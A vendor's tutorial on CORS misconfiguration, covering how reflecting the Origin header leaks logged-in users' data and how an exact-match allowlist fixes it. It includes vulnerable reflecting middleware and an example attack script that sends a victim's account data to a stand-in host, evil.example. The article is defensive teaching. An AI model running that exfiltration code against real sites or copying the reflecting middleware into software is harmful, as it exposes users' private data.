CORS Misconfiguration: When a Stranger's Website Can Read Your Logged-In Data
An overly permissive CORS policy lets a malicious site read responses meant only for the victim. Here is how reflecting the Origin header goes wrong, and how a strict allowlist fixes it.
SelfSec Team 6 min read
Part 1 of 1From the CORS Misconfiguration series
At a glance
CWE-942- Interpreter
- Browser CORS check
- Required condition
- The server allows an untrusted or loosely matched origin, usually together with credentials.
- Potential impact
- An attacker's page reads authenticated responses: personal data, API tokens and anti-CSRF secrets.
- Primary defense
- An exact-match origin allowlist with no reflection, no null origin and Vary: Origin.
Safe practice: use benign proof only, in a disposable local lab or on a system you are explicitly authorized to test.
On this page
Cross-Origin Resource Sharing (CORS) exists to relax the browser's same-origin policy in a controlled way. By default, a script on https://evil.example cannot read the response from https://bank.example/api/account — the browser fetches it but refuses to hand the body to the calling page. CORS lets a server opt specific origins back in. The danger is that a careless opt-in can invite every origin in, including the attacker's.
When that happens, a CORS misconfiguration becomes a cross-origin data leak. A victim who is logged into your application visits an attacker's page, the page makes a credentialed request to your API, and because your headers say "this origin is allowed," the browser cheerfully delivers the authenticated response straight into attacker-controlled JavaScript. The OWASP Top 10:2025 lists exactly this — "CORS misconfiguration allows API access from unauthorized or untrusted origins" — under A01 Broken Access Control.
The mental model: the server decides, the browser enforces
CORS does not stop a request from being sent. It decides whether the browser hands the response to the script that asked for it, and it makes that decision from two response headers the server controls.
| Response headers | Can a script on another origin read a credentialed response? |
|---|---|
No Access-Control-Allow-Origin |
No — the same-origin policy applies |
Access-Control-Allow-Origin: * |
No — browsers refuse the wildcard for credentialed requests |
A fixed origin you own, with Access-Control-Allow-Credentials: true |
Only that origin |
The request's Origin reflected, with Access-Control-Allow-Credentials: true |
Yes — any origin, including the attacker's |
null, with Access-Control-Allow-Credentials: true |
Yes — from any sandboxed document an attacker builds |
The browser enforces whatever the last column says. A misconfiguration is therefore never a browser bug; it is the server granting read access it never meant to grant.
How it happens
The root cause is almost always a server that decides which origins to trust by reflecting whatever the browser sent. Instead of comparing the request's Origin against a known list, the code copies it back verbatim:
app.use((req, res, next) => {
const origin = req.headers.origin;
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
next();
});
This looks like it works — every legitimate front-end gets the headers it needs. But "echo the Origin back" is not an allowlist; it is an allow-everything. Whatever value arrives in the Origin header is the value the server blesses. Pairing that reflection with Access-Control-Allow-Credentials: true is the critical mistake: it tells the browser to send cookies and to release the response to the calling script.
Naive matching fails the same way. Code that checks whether the Origin merely contains your domain, or ends with it, can be satisfied by look-alikes such as https://bank.example.evil.example or https://evilbank.example. The null origin — sent by sandboxed iframes and some redirects — is another value that should never be trusted but frequently is.
A concrete attack
The victim is authenticated to https://bank.example and visits https://evil.example. The attacker's page runs:
fetch('https://bank.example/api/account', { credentials: 'include' }) .then(r => r.text()) .then(data => fetch('https://evil.example/steal?d=' + encodeURIComponent(data)));
The browser sends the request with the victim's session cookie and attaches the header Origin: https://evil.example. The vulnerable server reflects it:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://evil.example
Access-Control-Allow-Credentials: true
Content-Type: application/json
{"name":"Alice","balance":48211,"iban":"GB29..."}
Because the response says the attacker's origin is allowed and credentials are permitted, the browser releases the JSON body to the attacker's script. The second fetch exfiltrates it. The victim sees nothing.
The browser did its job perfectly. It only released the private response because the server explicitly told it that the attacker's origin was trusted. CORS is a server-side decision; reflecting the Origin delegates that decision to the attacker.
What an attacker gains
A credentialed CORS leak hands the attacker read access to anything the victim's session can reach:
- Steal authenticated API responses — account details, personal data, internal records rendered through the API.
- Harvest anti-CSRF tokens and session metadata that pages expose to their own front-end, enabling follow-on attacks.
- Read API keys or bearer tokens returned by settings or provisioning endpoints.
- Pivot across every endpoint the victim is authorized for, since one permissive policy usually applies site-wide.
All of it happens silently, on the attacker's timeline, against any logged-in user they can lure to a link.
The fix: a strict origin allowlist
Treat the Origin header as untrusted input and compare it — exactly — against a configured set of origins you actually own. Never echo it back unconditionally, and never combine a wildcard with credentials.
const ALLOWED = new Set([ 'https://app.example', 'https://admin.example', ]); app.use((req, res, next) => { const origin = req.get('Origin'); res.vary('Origin'); if (origin && ALLOWED.has(origin)) { res.set('Access-Control-Allow-Origin', origin); res.set('Access-Control-Allow-Credentials', 'true'); } next(); });
Key rules that make this safe:
- Match the full origin string exactly. No
includes(), noendsWith(), no regex that a look-alike domain can satisfy. - Never reflect
null. Sandboxed and opaque origins must not be on the allowlist. - Never pair
Access-Control-Allow-Origin: *withAccess-Control-Allow-Credentials: true. Browsers forbid the literal combination, but reflecting an arbitrary origin re-creates the same risk with credentials attached — so the wildcard is only acceptable for genuinely public, unauthenticated data. - Send
Vary: Originso caches do not serve one origin's allow-header to another.
Hand-written middleware also has to answer preflight OPTIONS requests correctly, so prefer the framework's CORS support and give it an explicit list. With the Express cors package, string entries are compared exactly:
const cors = require('cors'); app.use(cors({ origin: ['https://app.example', 'https://admin.example'], credentials: true, }));
Avoid origin: true, which reflects every origin, and regular expressions such as /example\.com$/, which also match attackerexample.com. In ASP.NET Core, the same policy is a named CORS policy:
builder.Services.AddCors(options =>
options.AddPolicy("app", policy => policy
.WithOrigins("https://app.example", "https://admin.example")
.WithMethods("GET", "POST")
.WithHeaders("Content-Type")
.AllowCredentials()));
var app = builder.Build();
app.UseCors("app");
ASP.NET Core returns an invalid CORS response when AllowAnyOrigin is combined with AllowCredentials; do not work around that with SetIsOriginAllowed(_ => true), which is the reflection bug in framework form.
Fixes that do not hold
- Substring, prefix or suffix checks:
bank.example.evil.exampleandevilbank.exampleboth pass them. - Decoding or normalizing before comparing: compare the exact serialized origin; percent-encoded dots, explicit ports and case tricks should never turn into a match.
- Trusting every subdomain: one cross-site scripting bug or abandoned subdomain then becomes a read path into the API.
- Allowing
nullfor local files or embedded widgets: an attacker can produce anullorigin from a sandboxed iframe at will. - Using the wildcard for internal APIs:
*blocks cookies but still lets any site read data an employee's browser can reach without them. - Treating CORS as CSRF protection: CORS controls who can read a response; simple cross-site requests are still sent. See CSRF, explained.
A developer review checklist
- Inventory every component that emits CORS headers: application code, API gateways, CDNs and framework defaults.
- Keep allowed origins as full scheme, host and port strings in configuration and compare them exactly.
- Send
Access-Control-Allow-Credentials: trueonly on endpoints a credentialed cross-origin client genuinely calls. - Never reflect the request origin and never allow
null. - Send
Vary: Originwhenever CORS headers depend on the request origin. - Limit preflight responses to the methods and headers the client actually uses.
- Re-test after deployment with a forged
Origin: https://evil.examplerequest and confirm no allow header comes back.
References
- OWASP Top 10:2025 — A01 Broken Access Control
- PortSwigger Web Security Academy: Cross-origin resource sharing (CORS)
- MDN: Cross-Origin Resource Sharing (CORS)
- MITRE CWE-942: Permissive Cross-domain Security Policy with Untrusted Domains
- Microsoft Learn: Enable Cross-Origin Requests (CORS) in ASP.NET Core
- Express: cors middleware
- Module
- CORS Misconfiguration
- How it probes
- With header attacks enabled, sends forged Origin headers to each crawled endpoint: an attacker domain, the null origin, prefix, suffix and subdomain look-alikes, encoded dots and an explicit port.
- How it confirms
- The forged origin has to come back in a response header while a benign control Origin does not; a reflected null counts only as weaker evidence, and the response headers stay with the finding so credential support can be reviewed.
A reflected response alone is not enough to promote a CORS Misconfiguration finding. The classical engine has to confirm the behavior before it reaches the report. See the detection engine
Find CORS Misconfiguration in your own app
Reading about the class is one thing. SelfSec tests for it against an application you are authorized to assess, and only calls it real when independent evidence agrees.